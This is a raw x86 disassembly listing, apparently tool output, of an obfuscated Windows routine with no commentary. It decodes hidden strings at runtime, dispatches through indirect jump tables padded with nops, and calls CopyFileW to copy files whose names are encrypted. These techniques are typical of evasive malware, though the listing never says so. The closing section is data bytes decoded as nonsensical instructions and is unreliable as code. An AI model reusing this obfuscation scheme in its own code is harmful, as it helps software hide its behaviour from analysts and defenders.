mov dword [esi + 0x18], 0xd9a1c767
mov dword [esi + 0x1c], 0xdd8fdb74
mov dword [esi + 0x20], 0xd179df68
mov dword [esi + 0x24], 0xd56dd373
mov dword [esi + 0x28], 0x296ad778
mov dword [esi + 0x2c], 0x2d8f2b99
mov dword [esi + 0x30], 0x21922f8f
mov dword [esi + 0x34], 0x2594235e
mov dword [esi + 0x38], 0x39802780
mov word [esi + 0x3c], 0x3b38
mov byte [esi + 0x42], 0
mov dword [esi + 0x3e], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x42
ja 0x422842
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [esi + edx]
add ecx, 0xb5bdba55
xor ecx, edx
mov dword [ebp - 0xb8], ecx
mov ecx, dword [ebp - 0xb8]
add cl, 0x57
mov edx, dword [ebp - 0x10]
mov byte [esi + edx], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x43
jb 0x422810
mov ecx, esi
mov esi, dword [ebp - 0x40]
push esi
push 0
push 0
push 0x1e
push ecx
push 0
call eax
mov esi, dword [esi]
test esi, esi
mov dword [ebp - 0x18], edi
jns 0x422863
mov eax, 0xffffffff
jmp 0x422866
lea eax, [esi + esi]
push eax
call fcn.00408680
add esp, 4
mov ebx, eax
mov eax, dword [0x44bbcc]
mov edx, dword [ebp - 0x3c]
mov dword [edx], 0x438e4165
mov dword [edx + 4], 0x47a545ab
mov dword [edx + 8], 0x4ba649a9
mov dword [edx + 0xc], 0x4fde4d8d
mov dword [edx + 0x10], 0x73b671e0
mov dword [edx + 0x14], 0x77e27595
mov dword [edx + 0x18], 0x7b5f7999
mov dword [edx + 0x1c], 0x7f8d7d80
mov dword [edx + 0x20], 0x638761f4
mov dword [edx + 0x24], 0x678b6585
mov dword [edx + 0x28], 0x6b866994
mov dword [edx + 0x2c], 0x6f8d6d83
mov dword [edx + 0x30], 0x13fe11f1
mov dword [edx + 0x34], 0x1780153a
mov dword [edx + 0x38], 0x1bfc19fc
mov dword [edx + 0x3c], 0x1d1c
mov byte [edx + 0x40], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x40
ja 0x42293b
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x3c]
movzx edx, byte [edi + edx]
add ecx, 0x8c45d410
xor ecx, edx
mov dword [ebp - 0xb8], ecx
mov ecx, dword [ebp - 0xb8]
add cl, 0xb0
mov edx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x3c]
mov byte [edi + edx], cl
mov edx, dword [ebp - 0x3c]
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x41
jb 0x422900
push dword [ebp - 0x40]
push esi
push ebx
push 0x1e
push edx
push 0
call eax
push 0x60
push 3
push 0x120089
mov esi, dword [ebp - 0x54]
push esi
push ebx
call fcn.0043eed0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x4476e0]
mov eax, ebx
xor ebx, ebx
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x44]
jmp dword [0x4477b8]
push eax
call fcn.00408690
add esp, 4
mov eax, ebx
and al, 1
movzx ecx, al
mov eax, ebx
jmp dword [ecx*4 + 0x4477c0]
mov ebx, dword [ebp - 0x18]
jmp dword [0x4477cc]
mov dword [ebp - 0x40], ebx
push 0
mov ebx, dword [ebp - 0xc4]
push ebx
push dword [esi]
call fcn.0043f220
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x24], 0
mov edi, dword [ebp - 0x18]
jmp dword [eax*4 + 0x4476e8]
mov esi, dword [ebx]
lea eax, [esi + 1]
push eax
call fcn.00408680
add esp, 4
push 0
push esi
mov esi, dword [ebp - 0x54]
mov dword [ebp - 0x38], eax
push eax
push dword [esi]
call fcn.0043f300
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x24], 0
mov edi, dword [ebp - 0x18]
jmp dword [eax*4 + 0x4476f0]
jmp dword [0x4477b0]
push dword [ebp - 0x38]
call fcn.00408690
add esp, 4
mov eax, dword [esi]
mov dword [ebp - 0xb8], 0x707f7e7d
mov byte [ebp - 0xb4], 0
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x14]
cmp ecx, 4
ja 0x422a7f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x14]
movzx edx, byte [ebp + edx - 0xb8]
mov esi, ecx
and esi, 0xede72815
xor ecx, 0x6de72815
lea ecx, [ecx + esi*2]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
add cl, 0x97
mov edx, dword [ebp - 0x14]
mov byte [ebp + edx - 0xb8], cl
inc dword [ebp - 0x14]
mov ecx, dword [ebp - 0x14]
cmp ecx, 5
jb 0x422a40
mov ecx, dword [0x44bbd0]
test ecx, ecx
je 0x422abc
mov edx, dword [ebp - 0xb8]
xor esi, esi
mov ebx, dword [0x44bbd4]
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebx + esi*8], 0x625b6034
je 0x422ab0
inc esi
cmp ecx, esi
jne 0x422aa0
jmp 0x422abc
mov ecx, dword [ebx + esi*8 + 4]
cmp ecx, edx
jne 0x422c22
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov ebx, dword [ebp - 0x24]
jmp dword [0x4477b8]
mov eax, ebx
and al, 1
movzx ecx, al
mov eax, ebx
jmp dword [ecx*4 + 0x4477c0]
jmp dword [0x4477d8]
mov esi, dword [ebx]
mov edi, dword [ebp - 0x38]
mov byte [edi + esi], 0
push 0x20
call fcn.00408680
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x48], eax
mov ecx, eax
push esi
push edi
call fcn.00425170
movzx eax, al
mov dword [ebp - 0x24], 0
mov edi, dword [ebp - 0x18]
jmp dword [eax*4 + 0x4476f8]
mov esi, dword [ebp - 0xbc]
mov dword [esi], 0xfde8f6d9
mov dword [esi + 4], 0xe2f0e0f9
mov dword [esi + 8], 0xfdedd13d
mov dword [esi + 0xc], 0xc83be4f6
mov dword [esi + 0x10], 0xe6f5f8e8
mov dword [esi + 0x14], 0xebe3de21
mov dword [esi + 0x18], 0xe5f3f0ea
mov dword [esi + 0x1c], 0xcdf7f8d5
mov dword [esi + 0x20], 0x27cb
mov byte [esi + 0x24], 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x24
ja 0x422be0
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [esi + ecx]
lea edx, [eax + ecx]
add edx, 0x4b6b8c1
add eax, 0x4b6b8c1
not ecx
or eax, ecx
sub ecx, eax
lea eax, [edx + ecx*2]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
add al, 0x3b
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x25
jb 0x422ba0
mov ecx, dword [ebp - 0x48]
push esi
call fcn.00425360
xor ecx, ecx
test eax, eax
setne cl
mov dword [ebp - 0x24], 0
jmp dword [ecx*4 + 0x447700]
add eax, 8
mov dword [ebp - 0x24], 0
mov ebx, dword [eax]
xor eax, eax
test ebx, ebx
setne al
mov edi, dword [ebp - 0x18]
jmp dword [eax*4 + 0x447708]
mov eax, dword [case.0x422962.6]
jmp eax
push eax
push 1
push dword [0x44bbd8]
push ecx
call fcn.0043c6e0
add esp, 0x10
mov esi, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
mov ebx, dword [ebp - 0x24]
jmp dword [0x4477b8]
add eax, 8
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x4476a8]
not eax
mov ebx, dword [ebp - 0x34]
mov edi, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov dword [edx + edi + 4], eax
add ecx, 8
mov dword [ebx + 4], ecx
add esi, 4
mov esi, dword [esi]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x4476a8]
mov dword [ebp - 0x38], esi
mov eax, dword [esi]
mov dword [ebp - 0x1c], eax
mov esi, dword [ebx]
mov edx, dword [ebx + 4]
mov edi, edx
sub edi, esi
cmp edx, dword [ebx + 8]
mov dword [ebp - 0x2c], edi
jne 0x422d34
mov eax, edx
not eax
and eax, esi
mov ecx, esi
not ecx
mov dword [ebp - 0x20], edx
and ecx, edx
sub ecx, eax
sar ecx, 3
mov eax, edi
mov edi, ecx
shr edi, 1
add edi, ecx
sar eax, 3
inc eax
cmp edi, eax
ja 0x422ccb
mov edi, eax
lea eax, [edi*8]
push eax
call fcn.00408680
add esp, 4
mov dword [ebp - 0x28], eax
test esi, esi
je 0x422d1e
mov edx, dword [ebp - 0x20]
cmp esi, edx
mov ebx, dword [ebp - 0x28]
je 0x422d12
xor eax, eax
nop
nop
mov ecx, dword [esi + eax]
mov dword [ebx + eax], ecx
mov ecx, dword [esi + eax + 4]
mov dword [ebx + eax + 4], ecx
mov dword [esi + eax], 0
lea ecx, [esi + eax]
add ecx, 8
add eax, 8
cmp ecx, edx
jne 0x422cf0
push esi
call fcn.00408690
add esp, 4
mov ebx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x28]
mov dword [ebx], esi
mov ecx, dword [ebp - 0x2c]
lea edx, [esi + ecx]
mov dword [ebx + 4], edx
lea eax, [esi + edi*8]
mov edi, ecx
mov dword [ebx + 8], eax
mov dword [ebp - 0x20], edx
mov dword [esi + edi], 0
mov dword [ebp - 0x28], esi
mov dword [esi + edi + 4], 0
mov ebx, 0xffffffff
xor eax, eax
mov ecx, dword [ebp - 0x1c]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, eax
cmp byte [ecx + ebx + 1], 0
lea ebx, [ebx + 1]
lea eax, [eax + 1]
jne 0x422d60
lea eax, [ebx + 1]
mov dword [ebp - 0x24], eax
push eax
call fcn.00408680
add esp, 4
mov ecx, dword [ebp - 0x28]
mov dword [ecx + edi], eax
mov ecx, dword [ebp - 0x24]
shr ecx, 2
mov edx, dword [ebp - 0x1c]
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, dword [ebp - 0x24]
mov ecx, edx
shr ecx, 1
and ecx, 1
and edx, 0xfffffffc
mov edi, dword [ebp - 0x1c]
add edi, edx
add edx, eax
mov dword [ebp - 0x4c], edi
mov eax, edi
mov edi, edx
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
test bl, 1
jne 0x422dd2
mov ecx, dword [ebp - 0x24]
and ecx, 2
mov eax, dword [ebp - 0x4c]
movzx eax, byte [eax + ecx]
mov byte [edx + ecx], al
test ebx, ebx
je 0x422e7f
cmp ebx, 1
jne 0x422de4
mov eax, 0xffffffff
mov ecx, dword [ebp - 0x20]
mov edi, dword [ebp - 0x1c]
jmp 0x422e46
and esi, 0xfffffffe
mov eax, 0xffffffff
mov edi, dword [ebp - 0x1c]
nop
mov ecx, eax
movzx edx, byte [edi]
xor edx, eax
shr eax, 8
not ecx
or ecx, 0xff
add edx, ecx
mov ecx, dword [edx*4 + 0x4427e4]
mov edx, ecx
and edx, eax
add eax, ecx
add edx, edx
sub eax, edx
mov ecx, eax
movzx edx, byte [edi + 1]
xor edx, eax
shr eax, 8
not ecx
or ecx, 0xff
add edx, ecx
mov ecx, dword [edx*4 + 0x4427e4]
mov edx, ecx
and edx, eax
add eax, ecx
add edx, edx
sub eax, edx
add edi, 2
add esi, 0xfffffffe
jne 0x422df0
mov ecx, dword [ebp - 0x20]
test bl, 1
mov esi, dword [ebp - 0x38]
je 0x422c60
mov ecx, eax
movzx edx, byte [edi]
xor edx, eax
shr eax, 8
not ecx
or ecx, 0xff
add edx, ecx
mov ecx, dword [edx*4 + 0x4427e4]
mov edx, ecx
and edx, eax
add eax, ecx
add edx, edx
sub eax, edx
mov ecx, dword [ebp - 0x20]
jmp 0x422c60
xor eax, eax
mov ebx, dword [ebp - 0x34]
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x20]
jmp 0x422c68
mov eax, dword [ebp - 0x34]
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax], 0
mov eax, 0xfffffffe
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x422eb0
lea ecx, [eax + 0x26]
cmp eax, 0xffffffd9
jge 0x422ec8
mov ecx, 0xffffffff
push ecx
call fcn.00408680
add esp, 4
mov dword [ebx], 0x298f2bf8
mov dword [ebx + 4], 0x2d9c2f99
mov dword [ebx + 8], 0x319d3386
mov dword [ebx + 0xc], 0x35ea3799
mov dword [ebx + 0x10], 0x398b3b91
mov dword [ebx + 0x14], 0x3d943f8a
mov dword [ebx + 0x18], 0x1ab0393
mov dword [ebx + 0x1c], 0x5bc07f2
mov dword [ebx + 0x20], 0x9a00ba0
mov word [ebx + 0x24], 0xf08
mov dword [ebx + 0x26], 0
mov byte [ebx + 0x2a], 0
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x2a
ja 0x422f6d
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [ebx + edx]
mov edi, ecx
and edi, 0x18e8f947
xor ecx, 0x18e8f947
lea ecx, [ecx + edi*2]
xor ecx, edx
mov dword [ebp - 0xb8], ecx
mov ecx, dword [ebp - 0xb8]
add cl, 0x9d
mov edx, dword [ebp - 0x10]
mov byte [ebx + edx], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x2b
jb 0x422f30
movzx ecx, word [esi]
test cx, cx
je 0x422f91
lea edx, [esi + 2]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422f80
mov word [eax], 0
movzx ecx, word [ebx]
test cx, cx
je 0x422fc1
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x422fb0
mov word [eax], 0
mov eax, dword [ebp - 0x34]
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax], 0
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + eax + 2], 0
lea eax, [eax + 2]
jne 0x422ff0
lea ecx, [eax + 0x26]
cmp eax, 0xffffffd9
jge 0x423008
mov ecx, 0xffffffff
push ecx
call fcn.00408680
add esp, 4
mov edi, eax
mov dword [ebx], 0x298f2bf8
mov dword [ebx + 4], 0x2d9c2f99
mov dword [ebx + 8], 0x319d3386
mov dword [ebx + 0xc], 0x35ea3799
mov dword [ebx + 0x10], 0x398b3b91
mov dword [ebx + 0x14], 0x3d943f8a
mov dword [ebx + 0x18], 0x1ab0393
mov dword [ebx + 0x1c], 0x5bc07f2
mov dword [ebx + 0x20], 0x9a00ba0
mov word [ebx + 0x24], 0xf08
mov dword [ebx + 0x26], 0
mov byte [ebx + 0x2a], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x2a
ja 0x4230bb
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [ebx + ecx]
mov edx, eax
and edx, 0x18e8f947
xor eax, 0x18e8f947
lea eax, [eax + edx*2]
xor eax, ecx
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
add al, 0x9d
mov ecx, dword [ebp - 0x10]
mov byte [ebx + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x2b
jb 0x423080
movzx ecx, word [esi]
mov eax, edi
test cx, cx
je 0x4230e1
lea edx, [esi + 2]
mov eax, edi
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4230d0
mov word [eax], 0
movzx ecx, word [ebx]
test cx, cx
je 0x423111
lea edx, [ebx + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x423100
mov word [eax], 0
jmp dword [0x447638]
mov dword [ebp - 0x18], edi
jmp dword [0x447640]
push esi
call fcn.00408690
add esp, 4
xor eax, eax
cmp word [edi], 0x5b
sete al
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x38]
jmp dword [eax*4 + 0x447648]
xor eax, eax
cmp word [edi], 0x5b
sete al
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x38]
jmp dword [eax*4 + 0x447648]
jmp dword [0x447650]
mov dword [ebx], 0xc19cc789
mov dword [ebx + 4], 0xcdafc3a4
mov dword [ebx + 8], 0xc958cf5d
mov dword [ebx + 0xc], 0xf5a1cba6
mov dword [ebx + 0x10], 0xf192f79d
mov dword [ebx + 0x14], 0xfd63f39d
mov dword [ebx + 0x18], 0xf990ff6a
mov dword [ebx + 0x1c], 0xe593fb93
mov dword [ebx + 0x20], 0xe178e7b2
mov dword [ebx + 0x24], 0xed8ce38c
mov word [ebx + 0x28], 0xefec
mov dword [ebx + 0x2a], 0
mov byte [ebx + 0x2e], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x2e
ja 0x423209
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [ebx + ecx]
lea edx, [eax + 0x51]
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
add eax, 0x3a641551
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
add al, 0x6b
mov ecx, dword [ebp - 0x10]
mov byte [ebx + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x2f
jb 0x4231d0
push 0
push ebx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp case.0x421e9f.44
push 0
push ebx
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
jmp dword [0x447658]
mov dword [ebx], 0xc19cc789
mov dword [ebx + 4], 0xcdafc3a4
mov dword [ebx + 8], 0xc958cf5d
mov dword [ebx + 0xc], 0xf5a1cba6
mov dword [ebx + 0x10], 0xf192f79d
mov dword [ebx + 0x14], 0xfd63f39d
mov dword [ebx + 0x18], 0xf990ff6a
mov dword [ebx + 0x1c], 0xe593fb93
mov dword [ebx + 0x20], 0xe178e7b2
mov dword [ebx + 0x24], 0xed8ce38c
mov word [ebx + 0x28], 0xefec
mov dword [ebx + 0x2a], 0
mov byte [ebx + 0x2e], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x2e
ja 0x423220
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [ebx + ecx]
lea edx, [eax + 0x51]
and edx, ecx
add eax, ecx
add edx, edx
sub eax, edx
add eax, 0x3a641551
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
add al, 0x6b
mov ecx, dword [ebp - 0x10]
mov byte [ebx + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x2f
jb 0x4232a0
jmp 0x423220
mov byte [edi], 0
mov dword [esi], 0x87828151
mov dword [esi + 4], 0x837f7e75
mov dword [esi + 8], 0x888c8e71
mov dword [esi + 0xc], 0x6a9a7653
mov dword [esi + 0x10], 0x7f559461
mov dword [esi + 0x14], 0x9963669b
mov dword [esi + 0x18], 0x93965f9b
mov word [esi + 0x1c], 0x35a8
mov dword [esi + 0x1e], 0
mov byte [esi + 0x22], 0
mov eax, edi
sub eax, ebx
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x22
ja 0x423382
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [esi + edx]
lea esi, [ecx + edx]
add ecx, 0x84
and ecx, edx
add ecx, ecx
sub esi, ecx
add esi, 0x1bb97c84
mov dword [ebp - 0xb8], esi
mov esi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xb8]
add cl, 0x6c
mov edx, dword [ebp - 0x10]
mov byte [esi + edx], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x23
jb 0x423340
mov ecx, dword [ebp + 8]
push eax
mov ebx, dword [ebp - 0x18]
push ebx
push esi
call fcn.00409230
mov byte [edi], 0
mov dword [esi], 0x87828151
mov dword [esi + 4], 0x837f7e75
mov dword [esi + 8], 0x888c8e71
mov dword [esi + 0xc], 0x6a9a7653
mov dword [esi + 0x10], 0x7f559461
mov dword [esi + 0x14], 0x9963669b
mov dword [esi + 0x18], 0x93965f9b
mov word [esi + 0x1c], 0x35a8
mov dword [esi + 0x1e], 0
mov byte [esi + 0x22], 0
mov eax, edi
sub eax, ebx
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x22
ja 0x423432
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [esi + edx]
lea esi, [ecx + edx]
add ecx, 0x84
and ecx, edx
add ecx, ecx
sub esi, ecx
add esi, 0x1bb97c84
mov dword [ebp - 0xb8], esi
mov esi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0xb8]
add cl, 0x6c
mov edx, dword [ebp - 0x10]
mov byte [esi + edx], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x23
jb 0x4233f0
mov ecx, dword [ebp + 8]
push eax
mov ebx, dword [ebp - 0x18]
push ebx
push esi
call fcn.00409230
jmp dword [0x4477d0]
jmp dword [0x4477d8]
push dword [ebp - 0x18]
mov esi, eax
call fcn.00408690
mov eax, esi
add esp, 4
and al, 1
mov ecx, dword [ebp - 0x34]
mov esi, dword [ecx]
mov edi, dword [ecx + 4]
test esi, esi
je 0x4234bb
cmp esi, edi
je 0x4234bb
mov dword [ebp - 0x24], eax
mov ebx, esi
jmp 0x423487
add ebx, 8
cmp ebx, edi
je 0x423498
mov eax, dword [ebx]
test eax, eax
je 0x423480
push eax
call fcn.00408690
add esp, 4
jmp 0x423480
push esi
call fcn.00408690
add esp, 4
mov eax, dword [ebp - 0x34]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov eax, dword [ebp - 0x24]
mov ecx, dword [0x4477e8]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
int3
pop ss
inc edx
add byte [ebx + ebx + 0x1b670042], cl
inc edx
add byte [ecx + 0x79004217], al
sbb eax, dword [edx]
xchg esp, eax
sbb eax, dword [edx]
lds edx, [edi]
inc edx
add al, ah
pop ss
inc edx
add byte [eax + 0x17], dh
inc edx
add cl, ch
pop ss
inc edx
add byte [eax + 0x17], dh
pop ss
pop ss
inc edx
add byte [edi], bl
sbb byte [edx], al
jo 0x447559
pop ss
pop ss
inc edx
add byte [ebx + 0x18], dl
inc edx
add bh, al
sbb dword [edx], eax
rcr byte [ecx], 1
inc edx
add cl, dh
sbb dword [edx], eax
neg byte [ecx]
inc edx
add ah, bh
sbb dword [edx], eax
test byte [edx], bl
inc edx
add byte [edx + ebx + 0x1aef0042], al
inc edx
add ch, bh
sbb al, byte [edx]
add ebx, dword [ebx]
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [edi + 0x100421c], bl
add byte [eax], al
add byte [esp + ebx + 0x42], dl
add byte [ebx - 0x79ffbde5], al
sbb al, 0x42
add byte [esi + 0x1c], ah
inc edx
add byte [esi + 0x4800421c], al
push ss
inc edx
add ch, dl
and byte [edx], al
dec esp
sbb eax, 514195522
push ds
push ds
inc edx
add byte [eax], dh
and byte [edx], al
inc eax
and byte [edx], al
inc eax
and byte [edx], al
inc edx
and byte [edx], al
inc eax
and byte [edx], al
add dword [eax], eax
add byte [eax], al
add dword [eax], eax
add byte [eax], al
sal byte [edx + eax*2], cl
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x30ffbde1], dl
push ds
inc edx
add byte [eax + 0x7e00421f], dl
pop ds
inc edx
add byte [esi - 0x6fffbde1], al
pop ds
inc edx
add byte [esi + 0x20], bh
inc edx
add byte [eax - 0x63ffbde0], ah
and byte [edx], al
mov al, byte [0xb0004220]
and byte [edx], al
mov al, 0x20
inc edx
add byte [eax - 0x4dffbde0], dh
and byte [edx], al
shl dword [eax], 0x42
add byte [eax], dh
sbb eax, 0x20d50042
inc edx
add byte [ebp + 0x1d], al
inc edx
add ch, dl
and byte [edx], al
inc ebp
sbb eax, 551747650
inc edx
add cl, ch
and byte [edx], al
lock and byte [edx], al
lock and byte [edx], al
lock and byte [edx], al
and byte [edx], al
xchg edx, eax
inc edx
add dh, al
das
inc edx
add byte [ecx + esi], bl
inc edx
add byte [edx + 0x2500422e], dl
xor dword [edx], eax
inc edi
xor dword [edx], eax
mov ah, 0x24
inc edx
add byte [eax + 0x31], ah
inc edx
add byte [edx], dh
xor al, byte [edx]
xor word [edx], ax
mov ah, 36
inc edx
add byte [edx], dh
xor al, byte [edx]
or byte [edi], ah
inc edx
add al, bl
and al, 0x42
add dh, bl
and al, 0x42
add al, dh
and al, 0x42
add al, dh
and al, 0x42
add byte [ebx], al
and eax, 0x26650042
inc edx
add byte [edi], cl
and eax, 0x26540042
inc edx
add byte [0x32004225], bh
inc edx
add byte [edi + 0x27004225], cl
inc edx
add byte [ebx + 0x2c], al
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add dl, dl
xor al, 0x42
add byte [ecx], al
add byte [eax], al
add byte [edi], ah
inc edx
add byte [eax + 0x3000422c], cl
inc edx
add byte [eax], dh
inc edx
add byte [edx], dh
inc edx
add byte [eax], dh
inc edx
add byte [ebx], bh
inc edx
add byte [esi + 0x42], dl
add byte [edx + 0x26], bl
inc edx
add byte [ebp + 0x26], ah
inc edx
add byte [esi], cl
daa
inc edx
add byte [ebx + 0x27], dl
inc edx
add byte [esi + 0x27], ah
inc edx
add byte [edi], ch
inc edx
add byte [ecx + 0x29], ch
inc edx
add byte [ebx + 0x10004229], bl
sub al, byte [edx]
invalid